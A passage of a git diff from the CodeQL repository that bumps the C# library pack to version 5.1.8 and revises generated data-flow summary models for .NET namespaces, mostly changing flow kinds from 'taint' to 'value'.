a/csharp/ql/lib/change-notes/released/5.1.8.md b/csharp/ql/lib/change-notes/released/5.1.8.md new file mode 100644 index 000000000000..9e1ff36f31f5 --- /dev/null +++ b/csharp/ql/lib/change-notes/released/5.1.8.md @@ -0,0 +1,3 @@ +## 5.1.8 + +No user-facing changes. diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml index 5ddeeed69fc2..8ffbb79d2249 100644 --- a/csharp/ql/lib/codeql-pack.release.yml +++ b/csharp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.1.6 +lastReleaseVersion: 5.1.8 diff --git a/csharp/ql/lib/ext/generated/ILLink.Shared.DataFlow.model.yml b/csharp/ql/lib/ext/generated/ILLink.Shared.DataFlow.model.yml index d29f75b86f18..1d8ce809cda1 100644 --- a/csharp/ql/lib/ext/generated/ILLink.Shared.DataFlow.model.yml +++ b/csharp/ql/lib/ext/generated/ILLink.Shared.DataFlow.model.yml @@ -28,8 +28,8 @@ extensions: - ["ILLink.Shared.DataFlow", "ValueSet", False, "DeepCopy", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["ILLink.Shared.DataFlow", "ValueSet", False, "GetKnownValues", "()", "", "Argument[this].SyntheticField[ILLink.Shared.DataFlow.ValueSet`1._values]", "ReturnValue.SyntheticField[ILLink.Shared.DataFlow.ValueSet`1+Enumerable._values]", "value", "dfc-generated"] - ["ILLink.Shared.DataFlow", "ValueSet", False, "ValueSet", "(TValue)", "", "Argument[0]", "Argument[this].SyntheticField[ILLink.Shared.DataFlow.ValueSet`1._values]", "value", "dfc-generated"] - - ["ILLink.Shared.DataFlow", "ValueSetLattice", False, "Meet", "(ILLink.Shared.DataFlow.ValueSet,ILLink.Shared.DataFlow.ValueSet)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["ILLink.Shared.DataFlow", "ValueSetLattice", False, "Meet", "(ILLink.Shared.DataFlow.ValueSet,ILLink.Shared.DataFlow.ValueSet)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["ILLink.Shared.DataFlow", "ValueSetLattice", False, "Meet", "(ILLink.Shared.DataFlow.ValueSet,ILLink.Shared.DataFlow.ValueSet)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["ILLink.Shared.DataFlow", "ValueSetLattice", False, "Meet", "(ILLink.Shared.DataFlow.ValueSet,ILLink.Shared.DataFlow.ValueSet)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel diff --git a/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml b/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml index e6b9fb39e71a..7c878511a801 100644 --- a/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml +++ b/csharp/ql/lib/ext/generated/Internal.TypeSystem.model.yml @@ -13,7 +13,7 @@ extensions: - ["Internal.TypeSystem", "CanonBaseType", False, "get_Context", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.CanonBaseType._context]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "CanonBaseType", True, "get_MetadataBaseType", "()", "", "Argument[this].Property[Internal.TypeSystem.MetadataType.BaseType]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "CanonBaseType", True, "get_Module", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.CanonBaseType._context].Property[Internal.TypeSystem.TypeSystemContext.SystemModule]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfMethod", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfMethod", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfMethod", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[2].Element", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "ConstructedTypeRewritingHelpers", False, "ReplaceTypesInConstructionOfType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.TypeDesc[],Internal.TypeSystem.TypeDesc[])", "", "Argument[2].Element", "ReturnValue", "value", "dfc-generated"] @@ -108,7 +108,7 @@ extensions: - ["Internal.TypeSystem", "MetadataTypeSystemContext", True, "SetSystemModule", "(Internal.TypeSystem.ModuleDesc)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "EnumAllVirtualSlots", "(Internal.TypeSystem.MetadataType)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "FindSlotDefiningMethodForVirtualMethod", "(Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "value", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["Internal.TypeSystem", "MetadataVirtualMethodAlgorithm", False, "ResolveVariantInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MetadataType)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MethodDelegator", False, "MethodDelegator", "(Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[this].Field[Internal.TypeSystem.MethodDelegator._wrappedMethod]", "value", "dfc-generated"] @@ -133,6 +133,7 @@ extensions: - ["Internal.TypeSystem", "MethodSignature+SignatureEnumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "ApplySubstitution", "(Internal.TypeSystem.Instantiation)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue.SyntheticField[Internal.TypeSystem.MethodSignature._parameters].Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "ApplySubstitution", "(Internal.TypeSystem.Instantiation)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue.SyntheticField[Internal.TypeSystem.MethodSignature._returnType]", "value", "dfc-generated"] + - ["Internal.TypeSystem", "MethodSignature", False, "ApplySubstitution", "(Internal.TypeSystem.Instantiation)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "GetEmbeddedSignatureData", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.MethodSignature._embeddedSignatureData].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "GetEmbeddedSignatureData", "(System.ReadOnlySpan)", "", "Argument[this].SyntheticField[Internal.TypeSystem.MethodSignature._embeddedSignatureData].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "GetEnumerator", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -183,7 +184,7 @@ extensions: - ["Internal.TypeSystem", "ResolutionFailure", False, "GetTypeLoadResolutionFailure", "(System.String,System.String,System.String)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedCanonicalizationAlgorithm", False, "ConvertInstantiationToCanonForm", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.CanonicalFormKind,System.Boolean)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue.SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedCanonicalizationAlgorithm", False, "ConvertInstantiationToCanonForm", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.CanonicalFormKind,System.Boolean)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "RuntimeDeterminedCanonicalizationAlgorithm", False, "ConvertToCanon", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.CanonicalFormKind)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "RuntimeDeterminedCanonicalizationAlgorithm", False, "ConvertToCanon", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.CanonicalFormKind)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedType", False, "GetNonRuntimeDeterminedTypeFromRuntimeDeterminedSubtypeViaSubstitution", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.Instantiation)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedType", False, "GetNonRuntimeDeterminedTypeFromRuntimeDeterminedSubtypeViaSubstitution", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.Instantiation)", "", "Argument[1].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedType", False, "RuntimeDeterminedType", "(Internal.TypeSystem.DefType,Internal.TypeSystem.GenericParameterDesc)", "", "Argument[0]", "Argument[this].SyntheticField[Internal.TypeSystem.RuntimeDeterminedType._rawCanonType]", "value", "dfc-generated"] @@ -199,8 +200,8 @@ extensions: - ["Internal.TypeSystem", "SimpleArrayOfTRuntimeInterfacesAlgorithm", False, "SimpleArrayOfTRuntimeInterfacesAlgorithm", "(Internal.TypeSystem.ModuleDesc)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Internal.TypeSystem", "StandardCanonicalizationAlgorithm", False, "ConvertInstantiationToCanonForm", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.CanonicalFormKind,System.Boolean)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue.SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "StandardCanonicalizationAlgorithm", False, "ConvertInstantiationToCanonForm", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.CanonicalFormKind,System.Boolean)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "StandardCanonicalizationAlgorithm", False, "ConvertToCanon", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.CanonicalFormKind)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "TypeDesc", False, "ConvertToCanonForm", "(Internal.TypeSystem.CanonicalFormKind)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "StandardCanonicalizationAlgorithm", False, "ConvertToCanon", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.CanonicalFormKind)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["Internal.TypeSystem", "TypeDesc", False, "ConvertToCanonForm", "(Internal.TypeSystem.CanonicalFormKind)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "TypeDesc", False, "GetMethod", "(System.String,Internal.TypeSystem.MethodSignature)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeDesc", False, "get_RuntimeInterfaces", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeDesc", True, "ConvertToCanonFormImpl", "(Internal.TypeSystem.CanonicalFormKind)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] @@ -260,7 +261,7 @@ extensions: - ["Internal.TypeSystem", "TypeSystemException", False, "get_Arguments", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "EnumAllVirtualSlots", "(Internal.TypeSystem.TypeDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "FindMethodOnTypeWithMatchingTypicalMethod", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "TypeSystemHelpers", False, "FindMethodOnTypeWithMatchingTypicalMethod", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "TypeSystemHelpers", False, "FindMethodOnTypeWithMatchingTypicalMethod", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "FindVirtualFunctionTargetMethodOnObjectType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "GetAllMethods", "(Internal.TypeSystem.TypeDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "GetAllVirtualMethods", "(Internal.TypeSystem.TypeDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -276,7 +277,7 @@ extensions: - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "value", "dfc-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "value", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeWithRepeatedFields", False, "TypeWithRepeatedFields", "(Internal.TypeSystem.MetadataType)", "", "Argument[0]", "Argument[this].SyntheticField[Internal.TypeSystem.TypeWithRepeatedFields.MetadataType]", "value", "dfc-generated"] - ["Internal.TypeSystem", "TypeWithRepeatedFields", False, "get_ContainingType", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.TypeWithRepeatedFields.MetadataType].Property[Internal.TypeSystem.MetadataType.ContainingType]", "ReturnValue", "value", "dfc-generated"] @@ -289,7 +290,7 @@ extensions: - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "FindVirtualFunctionTargetMethodOnObjectType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "value", "dfc-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "value", "df-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - addsTo: diff --git a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml index 0dddff60e785..8ff9e323ec4b 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml @@ -9,8 +9,8 @@ extensions: - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "ChainedConfigurationProvider", "(Microsoft.Extensions.Configuration.ChainedConfigurationSource)", "", "Argument[0].Property[Microsoft.Extensions.Configuration.ChainedConfigurationSource.Configuration]", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "TryGet", "(System.String,System.String)", "", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "Argument[1]", "taint", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "get_Configuration", "()", "", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration,System.Type)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "GetValue", "(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.String,System.Object)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "GetValue", "(Microsoft.Extensions.Configuration.IConfiguration,System.String,T)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ConfigurationBuilder", False, "Add", "(Microsoft.Extensions.Configuration.IConfigurationSource)", "", "Argument[0]", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ConfigurationBuilder._sources].Element", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml b/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml index 0e6f2465ec01..1a63b255a4a4 100644 --- a/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml +++ b/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml @@ -54,11 +54,11 @@ extensions: - ["Mono.Linker.Steps", "MarkStep", True, "MarkInstruction", "(Mono.Cecil.Cil.Instruction,Mono.Cecil.MethodDefinition,System.Boolean,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkInterfaceImplementation", "(Mono.Cecil.InterfaceImplementation,Mono.Linker.MessageOrigin,System.Nullable)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkMethod", "(Mono.Cecil.MethodReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["Mono.Linker.Steps", "MarkStep", True, "MarkMethod", "(Mono.Cecil.MethodReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Mono.Linker.Steps", "MarkStep", True, "MarkMethod", "(Mono.Cecil.MethodReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkRequirementsForInstantiatedTypes", "(Mono.Cecil.TypeDefinition)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkSecurityAttribute", "(Mono.Cecil.SecurityAttribute,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkType", "(Mono.Cecil.TypeReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["Mono.Linker.Steps", "MarkStep", True, "MarkType", "(Mono.Cecil.TypeReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Mono.Linker.Steps", "MarkStep", True, "MarkType", "(Mono.Cecil.TypeReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkTypeVisibleToReflection", "(Mono.Cecil.TypeReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkUserDependency", "(Mono.Cecil.IMemberDefinition,Mono.Cecil.CustomAttribute,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "Process", "(Mono.Linker.LinkContext)", "", "Argument[0]", "Argument[this].SyntheticField[Mono.Linker.Steps.MarkStep._context]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/Mono.Linker.model.yml b/csharp/ql/lib/ext/generated/Mono.Linker.model.yml index f48ad4aa4115..862d9b749e17 100644 --- a/csharp/ql/lib/ext/generated/Mono.Linker.model.yml +++ b/csharp/ql/lib/ext/generated/Mono.Linker.model.yml @@ -157,7 +157,7 @@ extensions: - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState+Suppression", False, "Suppression", "(Mono.Linker.SuppressMessageInfo,Mono.Cecil.CustomAttribute,Mono.Cecil.ICustomAttributeProvider)", "", "Argument[1]", "Argument[this].Property[Mono.Linker.UnconditionalSuppressMessageAttributeState+Suppression.OriginAttribute]", "value", "dfc-generated"] - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState+Suppression", False, "Suppression", "(Mono.Linker.SuppressMessageInfo,Mono.Cecil.CustomAttribute,Mono.Cecil.ICustomAttributeProvider)", "", "Argument[2]", "Argument[this].Property[Mono.Linker.UnconditionalSuppressMessageAttributeState+Suppression.Provider]", "value", "dfc-generated"] - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "GatherSuppressions", "(Mono.Cecil.ICustomAttributeProvider)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "GetModuleFromProvider", "(Mono.Cecil.ICustomAttributeProvider)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "GetModuleFromProvider", "(Mono.Cecil.ICustomAttributeProvider)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "IsSuppressed", "(System.Int32,Mono.Linker.MessageOrigin,Mono.Linker.SuppressMessageInfo)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "UnconditionalSuppressMessageAttributeState", "(Mono.Linker.LinkContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker", "UnintializedContextFactory", True, "CreateAnnotationStore", "(Mono.Linker.LinkContext)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml b/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml index ae675a172a80..840c179210d4 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml @@ -4,7 +4,7 @@ extensions: pack: codeql/csharp-all extensible: summaryModel data: - - ["System.Collections.Frozen", "FrozenDictionary", False, "ToFrozenDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Frozen", "FrozenDictionary", False, "ToFrozenDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Frozen", "FrozenDictionary+AlternateLookup", False, "ContainsKey", "(TAlternateKey)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenDictionary+AlternateLookup", False, "TryGetValue", "(TAlternateKey,TValue)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenDictionary+AlternateLookup", False, "get_Item", "(TAlternateKey)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] @@ -16,7 +16,7 @@ extensions: - ["System.Collections.Frozen", "FrozenDictionary", False, "get_Values", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet", False, "Create", "(System.Collections.Generic.IEqualityComparer,System.ReadOnlySpan)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet", False, "Create", "(System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Frozen", "FrozenSet", False, "ToFrozenSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Frozen", "FrozenSet", False, "ToFrozenSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "Contains", "(TAlternate)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "TryGetValue", "(TAlternate,T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "TryGetValue", "(TAlternate,T)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml 